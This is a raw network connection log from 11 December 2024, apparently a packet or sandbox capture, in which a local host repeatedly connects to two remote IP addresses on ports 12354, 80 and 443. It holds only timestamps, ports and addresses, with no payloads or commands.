Dec 11, 2024 16:27:27.709502935 CET	61414	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:27.710046053 CET	61933	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:27.828468084 CET	62016	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:27.829307079 CET	12354	61933	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:27.832439899 CET	61933	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:27.860884905 CET	62017	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:27.861175060 CET	61933	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:27.948208094 CET	12354	62016	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:27.948295116 CET	62016	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:27.952565908 CET	62016	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:27.984904051 CET	80	62017	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:27.984922886 CET	12354	61933	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:27.985002995 CET	62017	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:27.985194921 CET	62017	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:28.071903944 CET	12354	62016	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:28.104567051 CET	80	62017	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:29.551212072 CET	80	62017	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:29.551292896 CET	62017	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:29.554969072 CET	62654	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:29.555025101 CET	443	62654	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:29.555102110 CET	62654	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:29.556210995 CET	62654	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:29.556230068 CET	443	62654	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:29.947983980 CET	12354	61933	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:29.948321104 CET	61933	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:29.948429108 CET	61933	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:29.949084044 CET	63160	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:30.068808079 CET	12354	62016	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:30.068841934 CET	12354	61933	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:30.068866014 CET	62016	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:30.069489956 CET	12354	63160	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:30.070192099 CET	63160	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:30.081677914 CET	62016	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:30.081844091 CET	63160	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:30.089849949 CET	63243	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:30.201550961 CET	12354	62016	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:30.201566935 CET	12354	63160	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:30.210072994 CET	12354	63243	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:30.210191011 CET	63243	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:30.210769892 CET	63243	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:30.330138922 CET	12354	63243	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:31.257396936 CET	443	62654	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:31.257561922 CET	62654	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:31.258182049 CET	443	62654	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:31.258347988 CET	62654	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:31.262383938 CET	62654	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:31.262465954 CET	443	62654	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:31.262619972 CET	62654	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:31.377244949 CET	62017	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:31.377629042 CET	64554	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:31.498420000 CET	80	64554	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:31.498718023 CET	64554	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:31.498753071 CET	80	62017	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:31.498805046 CET	62017	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:31.499133110 CET	64554	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:31.618618965 CET	80	64554	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:31.725182056 CET	63160	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:31.725389004 CET	64554	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:31.725389004 CET	63243	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:31.726090908 CET	64727	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:31.841636896 CET	64803	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:31.841943026 CET	64804	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:31.845994949 CET	12354	64727	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:31.846076012 CET	64727	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:31.846381903 CET	64727	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:31.961215019 CET	80	64803	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:31.961258888 CET	12354	64804	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:31.961318970 CET	64804	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:31.961345911 CET	64803	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:31.961601973 CET	64803	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:31.961990118 CET	64804	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:31.965615988 CET	12354	64727	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:32.080949068 CET	80	64803	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:32.081696033 CET	12354	64804	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:33.535082102 CET	80	64803	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:33.535165071 CET	64803	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:33.538681984 CET	49864	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:33.538741112 CET	443	49864	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:33.538872004 CET	49864	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:33.539267063 CET	49864	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:33.539280891 CET	443	49864	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:33.955921888 CET	12354	64727	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:33.955986977 CET	64727	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:33.956949949 CET	64727	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:33.957415104 CET	50179	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:34.065320969 CET	12354	64804	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:34.065381050 CET	64804	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:34.065532923 CET	64804	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:34.071636915 CET	50311	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:34.080259085 CET	12354	64727	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:34.080327988 CET	12354	50179	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:34.080446005 CET	50179	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:34.081161976 CET	50179	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:34.184757948 CET	12354	64804	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:34.191077948 CET	12354	50311	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:34.191176891 CET	50311	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:34.191613913 CET	50311	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:34.200407982 CET	12354	50179	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:34.312086105 CET	12354	50311	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:35.253170013 CET	443	49864	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:35.253360987 CET	49864	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:35.254035950 CET	443	49864	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:35.254189968 CET	49864	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:35.258255005 CET	49864	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:35.258373022 CET	443	49864	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:35.258434057 CET	49864	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:35.372855902 CET	64803	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:35.373061895 CET	51348	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:35.492546082 CET	80	51348	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:35.492618084 CET	51348	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:35.492846966 CET	80	64803	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:35.493036985 CET	64803	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:35.493808985 CET	51348	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:35.614370108 CET	80	51348	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:35.735136032 CET	50179	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:35.735199928 CET	51348	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:35.735335112 CET	50311	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:35.755436897 CET	51399	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:35.876173973 CET	51452	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:35.876868963 CET	51453	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:35.877610922 CET	12354	51399	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:35.877824068 CET	51399	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:35.877943993 CET	51399	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:35.996062994 CET	12354	51452	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:35.996133089 CET	51452	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:35.996769905 CET	80	51453	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:35.996885061 CET	51453	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:35.997574091 CET	51452	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:35.997668982 CET	12354	51399	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:35.997843981 CET	51453	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:36.117592096 CET	12354	51452	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:36.117845058 CET	80	51453	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:37.721765041 CET	80	51453	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:37.722026110 CET	51453	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:37.729185104 CET	53024	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:37.729228020 CET	443	53024	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:37.729425907 CET	53024	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:37.730083942 CET	53024	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:37.730103016 CET	443	53024	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:38.060305119 CET	12354	51399	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:38.060487032 CET	51399	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:38.061351061 CET	51399	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:38.061623096 CET	53086	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:38.112329006 CET	12354	51452	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:38.114825010 CET	51452	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:38.126302004 CET	51452	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:38.166294098 CET	53200	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:38.184326887 CET	12354	51399	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:38.184654951 CET	12354	53086	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:38.184870958 CET	53086	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:38.185781956 CET	53086	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:38.245671988 CET	12354	51452	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:38.286714077 CET	12354	53200	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:38.288387060 CET	53200	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:38.288682938 CET	53200	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:38.306385040 CET	12354	53086	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:38.408262014 CET	12354	53200	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:39.450756073 CET	443	53024	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:39.450834990 CET	53024	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:39.451453924 CET	443	53024	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:39.451540947 CET	53024	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:39.455260992 CET	53024	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:39.455379963 CET	443	53024	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:39.455526114 CET	443	53024	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:39.455646038 CET	53024	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:39.455646038 CET	53024	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:39.571477890 CET	51453	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:39.571831942 CET	54708	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:39.691339016 CET	80	54708	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:39.691440105 CET	80	51453	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:39.691458941 CET	54708	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:39.691499949 CET	51453	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:39.717782021 CET	54708	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:39.755635023 CET	53200	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:39.755708933 CET	53086	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:39.755743980 CET	54708	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:39.756520987 CET	54842	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:39.837050915 CET	80	54708	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:39.837101936 CET	54708	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:39.875191927 CET	54905	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:39.876283884 CET	12354	54842	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:39.876363993 CET	54842	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:39.876606941 CET	54842	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:39.879393101 CET	54907	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:39.998580933 CET	12354	54905	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:39.998672009 CET	54905	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:39.998985052 CET	54905	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:39.999960899 CET	12354	54842	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:40.003061056 CET	80	54907	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:40.003160954 CET	54907	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:40.003504992 CET	54907	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:40.118240118 CET	12354	54905	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:40.123476982 CET	80	54907	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:42.023458958 CET	12354	54842	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:42.023606062 CET	54842	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:42.024518967 CET	54842	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:42.025214911 CET	56792	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:42.112938881 CET	12354	54905	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:42.113048077 CET	54905	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:42.113389015 CET	54905	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:42.141146898 CET	56888	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:42.143409967 CET	80	54907	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:42.143471956 CET	54907	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:42.144656897 CET	12354	54842	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:42.145405054 CET	12354	56792	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:42.145476103 CET	56792	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:42.145730972 CET	56792	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:42.146630049 CET	56893	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:42.146665096 CET	443	56893	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:42.146775961 CET	56893	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:42.147597075 CET	56893	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:42.147613049 CET	443	56893	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:42.232718945 CET	12354	54905	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:42.262779951 CET	12354	56888	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:42.262851954 CET	56888	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:42.263344049 CET	56888	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:42.265261889 CET	12354	56792	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:42.384371996 CET	12354	56888	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:43.775989056 CET	56792	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:43.776026964 CET	56888	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:43.776073933 CET	56893	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:43.776719093 CET	58184	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:43.896322012 CET	12354	58184	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:43.896405935 CET	58184	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:43.927567959 CET	58184	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:43.984530926 CET	58207	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:43.984855890 CET	54907	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:43.985084057 CET	58208	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:44.048208952 CET	12354	58184	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:44.105784893 CET	12354	58207	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:44.105869055 CET	58207	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:44.106082916 CET	80	58208	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:44.106152058 CET	58208	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:44.106245041 CET	80	54907	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:44.106462955 CET	54907	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:44.137737989 CET	58207	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:44.137975931 CET	58208	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:44.257190943 CET	12354	58207	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:44.257364988 CET	80	58208	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:46.021671057 CET	12354	58184	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:46.021747112 CET	58184	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:46.022325039 CET	58184	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:46.022800922 CET	59031	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:46.141587019 CET	12354	58184	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:46.142045975 CET	12354	59031	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:46.142230988 CET	59031	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:46.158827066 CET	59031	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:46.221892118 CET	12354	58207	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:46.221949100 CET	58207	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:46.272624016 CET	58207	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:46.273004055 CET	59076	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:46.280100107 CET	12354	59031	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:46.396193981 CET	12354	58207	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:46.396414995 CET	12354	59076	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:46.399008989 CET	59076	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:46.399823904 CET	59076	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:46.630913019 CET	12354	59076	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:47.969702959 CET	58208	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:47.969712019 CET	59031	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:47.969733000 CET	59076	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:47.970644951 CET	59530	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:48.090190887 CET	12354	59530	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:48.090295076 CET	59530	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:48.092575073 CET	59530	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:48.100711107 CET	59568	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:48.103705883 CET	59570	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:48.293004990 CET	12354	59530	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:48.293020964 CET	12354	59568	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:48.293030977 CET	80	59570	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:48.293103933 CET	59568	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:48.293154001 CET	59570	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:48.317894936 CET	59568	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:48.318121910 CET	59570	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:48.487286091 CET	12354	59568	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:48.487303019 CET	80	59570	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:49.862535954 CET	80	59570	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:49.862675905 CET	59570	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:49.867027998 CET	61296	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:49.867046118 CET	443	61296	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:49.867185116 CET	61296	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:49.867741108 CET	61296	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:49.867752075 CET	443	61296	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:50.206182003 CET	12354	59530	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:50.206254005 CET	59530	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:50.206990004 CET	59530	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:50.207475901 CET	61476	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:50.328958988 CET	12354	59530	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:50.329720974 CET	12354	61476	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:50.329797983 CET	61476	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:50.330760956 CET	61476	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:50.409298897 CET	12354	59568	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:50.409396887 CET	59568	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:50.409873962 CET	59568	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:50.410648108 CET	61638	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:50.450464964 CET	12354	61476	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:50.531222105 CET	12354	59568	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:50.532105923 CET	12354	61638	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:50.532207966 CET	61638	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:50.532558918 CET	61638	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:50.652944088 CET	12354	61638	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:51.562532902 CET	443	61296	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:51.563810110 CET	61296	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:51.563833952 CET	443	61296	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:51.566721916 CET	61296	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:51.570622921 CET	61296	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:51.570674896 CET	443	61296	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:51.570796967 CET	443	61296	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:51.574409962 CET	61296	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:51.574409962 CET	61296	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:51.681458950 CET	62834	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:51.683351994 CET	59570	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:51.803267002 CET	80	62834	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:51.803384066 CET	62834	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:51.803745985 CET	62834	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:51.805748940 CET	80	59570	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:51.805955887 CET	59570	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:51.927376032 CET	80	62834	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:52.098123074 CET	61638	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:52.098459005 CET	62834	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:52.098515034 CET	61476	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:52.104669094 CET	63134	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:52.217015028 CET	63230	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:52.218313932 CET	63232	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:52.272073984 CET	12354	63134	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:52.272449017 CET	63134	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:52.272813082 CET	63134	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:52.340361118 CET	12354	63230	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:52.340501070 CET	63230	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:52.340965033 CET	63230	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:52.342396975 CET	80	63232	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:52.342483997 CET	63232	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:52.342868090 CET	63232	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:52.393933058 CET	12354	63134	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:52.460387945 CET	12354	63230	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:52.462285042 CET	80	63232	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:53.918215990 CET	80	63232	202.108.0.52	192.168.2.5
